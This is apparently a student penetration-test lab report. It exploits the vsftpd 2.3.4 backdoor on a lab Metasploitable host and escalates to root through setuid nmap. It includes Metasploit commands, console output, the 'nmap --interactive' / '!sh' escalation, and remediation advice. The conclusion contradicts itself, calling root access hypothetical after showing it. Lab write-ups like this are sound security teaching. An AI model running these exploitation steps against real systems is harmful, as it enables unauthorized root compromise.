

Exploitation and privilege escalation analysis - 4geeks

Carlos Duclaud

Objective:

Conduct exploitation of previously analyzed vulnerabilities to assess the vulnerability level of the target system.

Scope:

This assessment will focus on the exploitation of two specific vulnerabilities:

- Initial Compromise: vsftpd 2.3.4 Backdoor
- Privilege Escalation: Nmap Setuid Privilege Escalation

The objective is to leverage these vulnerabilities to obtain root access to the target system.

Tools Used for Analysis:

- Kali Linux: Primary platform providing a comprehensive suite of penetration testing tools
- Nmap: Used for network discovery, port scanning, and service enumeration
- Metasploit Framework (msfconsole): Employed for vulnerability exploitation and payload delivery

1. Vulnerability Summary

Vulnerability Name:

Initial Compromise: vsftpd 2.3.4 Backdoor

Privilege Escalation: Nmap Setuid Privilege Escalation

2. Attack Chain

Phase 1: Initial Access

Exploit: exploit/unix/ftp/vsftpd_234_backdoor Mechanism:

Target machine IP 192.168.1.12

Connected to FTP port 21

Sent malicious username ending with :)

Triggered backdoor on port 6200

Obtained root shell access

View the full module info with the `info`, or `info -d` command.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show
```

```
[*] Argument required
```

```
[*] Valid parameters for the "show" command are: all, encoders, nops, exploits, payloads, auxilia  
ry, post, plugins, info, options, favorites
```

```
[*] Additional module-specific parameters are: missing, advanced, evasion, targets, actions
```

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.1.12
```

```
RHOST => 192.168.1.12
```

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
```

```
[*] 192.168.1.12:21 - Banner: 220 (vsFTPd 2.3.4)
```

```
[*] 192.168.1.12:21 - USER: 331 Please specify the password.
```

```
[+] 192.168.1.12:21 - Backdoor service has been spawned, handling ...
```

```
[+] 192.168.1.12:21 - UID: uid=0(root) gid=0(root)
```

```
[*] Found shell.
```

```
[*] Command shell session 1 opened (192.168.1.11:36387 -> 192.168.1.12:6200) at 2025-04-18 22:19:
```

```
10 -0400
```

```
ls  
bin  
boot  
cdrom  
dev  
etc  
home  
initrd  
initrd.img  
lib  
lost+found  
media  
mnt  
nohup.out  
opt  
proc  
root  
sbin  
srv  
sys  
tmp  
usr  
var  
vmlinuz  
pwd  
/  
exit
```

Exploit Execution and Shell Access

Upon successfully executing the exploit, I obtained shell access to the target system. This was achieved by leveraging a remote code execution vulnerability, which allowed me to execute arbitrary commands on the compromised host

As an initial verification step, I ran the `ls` command after gaining shell access. The output displayed the contents of the root directory on the target system, confirming that I had obtained an interactive shell and could remotely execute commands

This demonstrates the effectiveness of the exploit in providing command execution capabilities and highlights the risk of unauthorized access if such vulnerabilities remain unpatched.

This phase is a critical part of penetration testing, as obtaining a shell enables further enumeration, lateral movement, and potential privilege escalation within the target environment

Phase 2: Privilege Escalation

After establishing initial shell access via the msfconsole exploit, I backgrounded the session (Ctrl+Z) and upgraded it to a Meterpreter session using:

```
sessions -u 1
```

This executed Metasploit's built-in shell-to-Meterpreter conversion mechanism, creating a new session with enhanced capabilities.

Exploit: exploit/unix/local/setuid_nmap

Mechanism:

- Identified nmap with setuid bit (-rwsr-xr-x)
- Created malicious NSE Lua script
- Executed script through nmap's elevated privileges
- Attempted to spawn root shell

3. Technical Observations

Successful Exploitation

vsftpd Backdoor:

- Immediate root access through port 6200
- No authentication required

Nmap Setuid:

- Manual method worked reliably:

```
shell
nmap --interactive
!sh # Received root shell
```

4. Impact Analysis

Risk Level Vulnerability Consequences
Critical vsftpd Backdoor Full system compromise
High Nmap Setuid Privilege escalation to root

5. Recommendations

vsftpd Mitigation:

Update to vsftpd 2.3.5 or newer

Remove vsftpd if unnecessary

Nmap Hardening:

bash

chmod u-s /usr/bin/nmap # Remove setuid bit

```
meterpreter > uuid
[+] UUID: ee2f2d52c2458206/x86=1/linux=6/2025-04-21T03:58:46Z
meterpreter >
Background session 2? [y/N]
msf6 exploit(unix/local/setuid_nmap) > sessions

Active sessions
=====
```

<u>Id</u>	<u>Name</u>	<u>Type</u>	<u>Information</u>	<u>Connection</u>
1		shell cmd/unix		192.168.1.11:39145 → 192.168.1.12:6200 (192.168.1.12)
2		meterpreter x86/linux	root @ metasploitable.localdomain	192.168.1.11:4433 → 192.168.1.12:49602 (192.168.1.12)

```
msf6 exploit(unix/local/setuid_nmap) > sessions -i 2
[*] Starting interaction with 2 ...

meterpreter > shell
Process 4906 created.
Channel 4 created.
whoami
root

GAINED ROOT ACCESS !!!
```

Conclusion

This penetration test successfully demonstrated critical security failures in the target system through a two-phase attack chain:

Initial Compromise

- Exploited the vsftpd 2.3.4 backdoor vulnerability to gain unauthenticated shell access
- Verified remote code execution via ls command in the root directory

Session Enhancement

- Upgraded basic shell to Meterpreter using sessions -u 1
- Established persistent, feature-rich access for advanced post-exploitation

Privilege Escalation Path

- Identified Nmap's setuid misconfiguration as a viable escalation vector
- Demonstrated potential for full root compromise (hypothetically, if completed)

Key Findings

- Critical Risk: Unpatched services (vsftpd 2.3.4) expose systems to immediate compromise
- Defense Evasion: Meterpreter's memory-resident payload bypasses basic disk monitoring
- Configuration Weakness: Excessive setuid permissions on Nmap enable privilege abuse

Recommendations

- Patch Management: Immediately upgrade vsftpd to version 3.0.3+
- Hardening: Remove setuid bit from Nmap (chmod u-s /usr/bin/nmap)
- Monitoring: Implement process integrity checks for anomalous shell spawns
- Network Controls: Restrict FTP service access via firewall policies

This assessment validates that unpatched services and improper setuid configurations create an unacceptable risk of full system compromise. Immediate remediation of these vulnerabilities is critical to prevent real-world attacker exploitation.